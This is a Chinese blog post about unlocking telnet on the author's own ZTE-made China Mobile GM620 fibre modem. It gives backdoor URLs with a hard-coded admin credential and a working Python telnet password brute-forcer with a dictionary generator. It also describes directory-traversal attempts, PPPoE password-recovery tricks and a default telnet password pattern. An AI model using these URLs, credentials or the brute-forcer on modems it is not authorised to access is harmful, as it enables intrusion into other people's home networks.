中兴代工移动光猫GM620开启telnet

最近自己家也安了移动的宽带,型号GM620

通过下面两个链接都能开启telnet

http://192.168.1.1/getpage.gch?pid=1002&nextpage=tele_sec_tserver_t.gch

http://192.168.1.1/usr=CMCCAdmin&psw=aDm8H%25MdA&cmd=1&telnet.gch

但是telnet密码始终找不到

尝试早期获取的方式

1.U盘备份配置,然后使用offzip解密

结果:可以备份,但是不能解密,文件头是一样的,文件内容不是简单的zip压缩,可能是某种对称加密算法

2.URL尝试http://192.168.1.1/cgi-bin/upgrade.asp

失败

3.URL尝试http://192.168.1.1/bridge_route.gch

失败,有部分教程是恢复出厂然后访问,由于怕注册不上,没有尝试恢复出厂再访问的请情况

3.URL尝试http://192.168.1.1/romfile.cfg

失败

4.ftp目录遍历尝试

失败

5.user登录管理usb存储菜单下载文件目录遍历尝试

失败,下载文件的功能按钮被屏蔽

6.使用密码字典

失败,尝试了所有8位数字密码和部分3字母+521后缀的密码

密码尝试

# -*- coding:utf-8 -*-
# 原作者:猫先生的早茶
# 修改者:高山流水
"""
从ip.txt文件中获取ip地址
从paswordlirbarys.txt文件中获取密码
尝试破解使用密码验证的telnet
"""

import socket, sys, time
import io


class Telnet():
    def __init__(self):
        pass

    def read_file(self, filename):
        with io.open(filename, 'r', encoding='utf-8') as read_file:
            return read_file.read().split('\n')

    def doConnect(self, host, port):
        while True:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(30)
            try:
                sock.connect((host, port))
            except:
                print ('reconnect fail wait 6s 。。。')
                time.sleep(6)
                pass
            else:
                return sock
                break


    def login(self, ip, password_list, port=23):
        # 创建客户端对象
        client = socket.socket()
        client.settimeout(30)
        # 连接到目标主机
        try:
            client.connect((ip, port))
        except:
            print ("[-]Don't connect {}:{}".format(ip, port))
            sys.exit()
        else:
            print ('[+]Connect Sussful!')
        # 发送\r\n等待1秒服务端回应登陆方式
        client.send(b'\r\n')
        time.sleep(0.1)
        print ('[+]等待服务器响应中。。。')
        # 接受服务器回应的数据
        data = client.recv(65535)
        print (data)
        # 输入用户名
        client.send('CMCCAdmin'.encode('utf-8') + b'\r\n')
        # 接受服务器返回的数据
        time.sleep(0.1)
        # 接受服务器回应的数据
        data = client.recv(65535)
        print (data)
        # 检测是否要输入密码
        if b'Password' in data:
            for password in password_list:
                print time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())
                # 输入密码
                print ('[-]正在尝试使用密码:{} 登陆{}'.format(password, ip))
                client.send(password.encode('utf-8') + b'\r\n')
                # 接受服务器返回的数据
                time.sleep(0.1)
                print ('[+]等待服务器回应中。。。')
                # 清楚缓存并接受服务器数据
                temp_data = b''
                temp_data = client.recv(8192)
                print (temp_data)
                # 判断登陆成功,如果成功则退出破解
                if b'>' in temp_data or b'#' in temp_data or b'$' in temp_data:
                    print ("[+]Login Sussful!{}:{} password:{}".format(ip, port, password))
                    break
                # 判断接受到的是报错信息
                if b'Password is incorrect' in temp_data or b'Error: The password is invalid.' in temp_data or b'%Username or password is invalid.' in temp_data and b'Password:' not in temp_data:
                    while True:
                        # 当收到错误信息,发送\r\n模拟用户敲回车
                        client.close()
                        # 创建客户端对象
                        client = socket.socket()
                        try:
                            client.connect((ip, port))
                        except socket.error :
                            print time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())
                            print '\r\n socker error re connection '
                            time.sleep(6)
                            client = self.doConnect(ip, port)
                        except:
                            print '\r\nother error occur '
                            time.sleep(3)
                            sys.exit()

                        client.send(b'\r\n')
                        time.sleep(0.1)
                        data = client.recv(65535)
                        print (data)
                        # 输入用户名
                        client.send('CMCCAdmin'.encode('utf-8') + b'\r\n')
                        time.sleep(0.1)
                        # 清除缓存
                        temp_data = b''
                        # 接受用户数据
                        temp_data = client.recv(8192)
                        print (temp_data)
                        # 检测是否可以输入密码
                        if b'Password:' in temp_data:
                            break

    def main(self):
        # 读取ip文件
        ip_list = self.read_file('ip.txt')
        # 读取密码文件
        password_list = self.read_file('paswordlirbarys.txt')
        # 尝试登陆
        for ip in ip_list[:1]:
            self.login(ip, password_list)


telnet = Telnet()
telnet.main()

字典生成

# -*- coding:utf-8 -*-
import io
import itertools
import datetime
import time
def generatelibary(library, length=6):

    libararys =itertools.product(library,repeat=length)

    with io.open("paswordlirbarys.txt","a",encoding='utf-8') as dic:
        for i in libararys:
            dic.write(u"".join(i))
            dic.write(u"".join(u"521"))
            dic.write(u"".join(u"\n"))

if __name__ == "__main__":

    lowercase = 'abcdefghijklmnopqrstuvwxyz'
    uppercase = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
    digits = '0123456789'
    special = """!"#$%&'( )*+,-./:;<=>?@[]^_`{|}~"""
    word = lowercase + uppercase + digits + special
    word2 = lowercase+uppercase

    starttime = datetime.datetime.now()
    print(time.strftime("%Y%m%d%H%M%S", time.localtime(time.time())))
    generatelibary(word2,length=4)
    endtime = datetime.datetime.now()
    print(time.strftime("%Y%m%d%H%M%S", time.localtime(time.time())))
    print('The time cost: ')
    print(endtime - starttime)

结论,早期的方法几乎失败了,再有可能是拆机TTL/记配置恢复出厂进选地区页了。由于家里人在用,拆机工具不全先放弃了。

我们只能降低要求找PPPoE密码,

正常情况下用户名可以直接看,一般是手机号。非移动手机绑定的是其他。

大部分地区默认的PPPoE密码是手机号后六位

GM620和GM220一样,密码显示*,F12方式查看也显示*,保存的时候,若密码不更改,表单不会提交密码字段。这个设计也挺周到。

不过光猫预留了两个菜单可以进行验证猜测pppoe密码

1.业务仿真模拟拨号,仿真结果可以看到密码对不对。注意拨号时会断网。

2.端口镜像抓取PPPoE的报文,源端口可以设置单个链接或者物理端口,观察口可以设置LAN1~LAN4,可能是我笔记本或者软件的原因,能看到报文,但似乎只有一个方向的报文。这个方法似乎能看到PPPoE的响应报文。但是密码是放在请求报文里的。要是两个方向的报文在观察口都能找到就好了。过段时间找个好点的电脑收集一下或许会有收获。

通过上面的方式,验证了pppoe的密码,改桥接应该就好改了。

 

update20210526:根据网友lij365提示telnet账号为CMCCAdmin 密码为光猫背后的登录密码加上@C1,经过验证密码有效,我这个非移动号申请的移动单宽带密码为12345678,账号为400087558320159XXXXXXXX@net

评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值